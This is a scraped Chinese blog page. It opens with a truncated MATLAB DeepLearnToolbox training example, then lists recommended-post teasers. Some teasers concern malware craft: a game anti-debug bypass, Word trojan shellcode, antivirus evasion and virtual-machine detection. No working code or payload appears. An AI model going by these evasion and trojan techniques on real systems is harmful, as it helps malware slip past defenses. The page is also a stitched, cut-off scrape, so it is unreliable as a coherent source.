10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

【万字硬核深度】反病毒技术四代演进史:从特征码匹配到 AI 多维免疫的底层逻辑、算法剖析与实战指南

B4???????????代表任意单字节(忽略寄存器变化或密钥变化)。[10-50]代表跳过 10 到 50 个字节(忽略中间插入的垃圾指令)。这种特征码描述的不再是“具体的代码”,而是“代码的逻辑结构”或“API 调用的序列”。从第一代技术那简陋却精准的字节特征码匹配,到第二代技术在误报泥潭中挣扎的广谱扫描;从第三代技术引入虚拟机沙盒的惊艳脱壳,到第四代技术构建多维智能免疫的立体长城。反病毒技术的发展史,就是一部人类用智慧、数学和代码构筑数字世界防波堤的壮丽史诗。

吾为热爱计科,致力于知识分享的践行者,此博客是我在这条道路上留下的足迹。 332

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

AI智能体技术深度解析:从原理到落地,大模型开发者收藏必备

AI智能体正从"问答式交互"向"任务委托"转变,通过感知-认知-行动闭环实现自主决策、环境适应和持续学习。文章对比了单体、模块化与联邦架构设计,详述了工业与开放环境应用场景,并探讨神经符号融合与群体智能的未来发展方向。智能体价值在于可被托付目标的系统,关键在于构建标准化接口、可解释策略与可验证安全的企业级工程框架。

2401_85373691的博客 1030

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

仿生机器人、生物机器人、微机器人设计大合集

在科技与自然深度融合的今天,我们怀着无比激动的心情向您呈现这一系列凝聚了全球顶尖科研智慧的技术方案合集。这不仅仅是一套文档资料,更是一部记录人类向自然界学习、与生命对话的科技史诗。从微观世界的分子机器人到宏观领域的无人机集群,从深海万米的探测装置到外太空的探测设备,本合集完整覆盖了仿生机器人领域的各个维度,是每一位机器人研究者、工程师和科技爱好者不容错过的智慧宝库。

梵心白莲的博客 3636

用推荐系统解决干扰鲁棒传感器子集选择问题

传感器子集选择是典型的组合优化问题,在MIMO天线选择、无线传感器网络等场景中,需从大量候选中快速选出最优子集。传统穷举、凸松弛和贪心算法虽各有优势,但在线阶段需重新计算,难以应对干扰环境的快速变化。推荐系统将这一选择问题转化为评分预测:离线学习“场景-子集-性能”映射,在线仅需一次前向传播即可输出Top-K子集,极大降低实时决策开销。针对干扰鲁棒性,可通过训练数据覆盖多样干扰模式、对抗训练、域解耦等手段增强模型泛化能力,并在在线端引入置信度兜底机制。该思路适用于MIMO天线选择、阵列信号处理、频谱感知等场

weixin_30607029的博客 408

IEEE Transactions 系列期刊大全:影响因子、中科院分区、自引率、发文量一站式起底!投稿必看,建议永久收藏!

IEEE Transactions系列期刊共有115本,其中影响因子最高的前20本期刊涵盖多个领域。TPAMI以18.6的影响因子位居榜首,其次是TIV(14.3)、TIP(13.7)等。这些数据来源于IEEE官网和LetPub统计,包含影响因子、CiteScore、分区等指标。部分高影响力期刊如TPAMI专注于模式分析与机器学习,TIV关注智能车辆技术,TIP则聚焦图像处理领域。值得注意的是,这些期刊的自引率差异较大,从TPAMI的3.2%到TCE的52.3%不等,年发文量也从128篇到1305篇不等。

陈嘿萌的博客 5806

推荐系统驱动的传感器子集选择:干扰鲁棒建模与工程实践

在传感器网络与阵列信号处理场景中,传感器子集选择是一个关键问题:如何在大量候选节点中挑选出既节省资源又保证性能的少量传感器?传统穷举、贪心或凸优化方法在面对环境干扰与节点故障时,常因缺乏泛化能力而失效。推荐系统提供了一种数据驱动的新思路——将传感器选择建模为“上下文-传感器”的协同过滤任务,通过矩阵分解等潜在因子模型,从历史数据中学习传感器之间的协同模式与贡献度排序,从而天然具备抗干扰优势。这种交叉方法不仅能降低推理成本,还能在信号重建、目标定位等任务中获得稳定性能。本文从问题定义、算法映射、矩阵分解代码示

chuange6363的博客 426

简单的检测对抗

自学有一段时间了 一直都是纸上谈兵 打算找一个检测不是很强的游戏练练手 就是这个荒野 废话不多说 0x00: 首先是反调试 NtSetInformationThread 与 [size=1.1]DbgUiRemoteBreakin NtSetInformationThread 这个好像是荒野的VMP壳加上的反调试 这是一个线程相关的API 会屏蔽掉指定线程的调试事件 一个没有被调试...

qq_35129925的博客 923

编写word木马的shellcode

编写Word木马的ShellCode作者:Azrael  来源:网鹰工作室  日期:2008-01-08 15:24:00曹军分析了导致去年“万珍”病毒的Word 2000溢出漏洞细节,但并没涉及漏洞的具体利用;第4期文章中,黑防讨论了生成WMF木马的ShellCode的设计与实现。由于自身的特点,Word木马的设计与前者有较大的区别,下面由我对此进行一下分析。预备知识讨论ShellCode之前,

大浪淘沙的专栏 2289

免杀跟过主动防御收藏

function StorePage(){d=document;t=d.selection?(d.selection.type!=None?d.selection.createRange().text:):(d.getSelection?d.getSelection():);void(keyit=window.open(http://www.365key.com/storeit

大浪淘沙的专栏 1875

判断程序是否运行在虚拟机里 收藏

//判读程序是否运行在虚拟机里#include #include // IsInsideVPCs exception filterDWORD __forceinline IsInsideVPC_exceptionFilter(LPEXCEPTION_POINTERS ep){PCONTEXT ctx = ep->ContextRecord;

大浪淘沙的专栏 1854
上一篇: 原创 xp下双开3389源码收藏
下一篇: 免杀跟过主动防御收藏
大浪淘沙1
博客等级 码龄19年 42粉丝 38原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值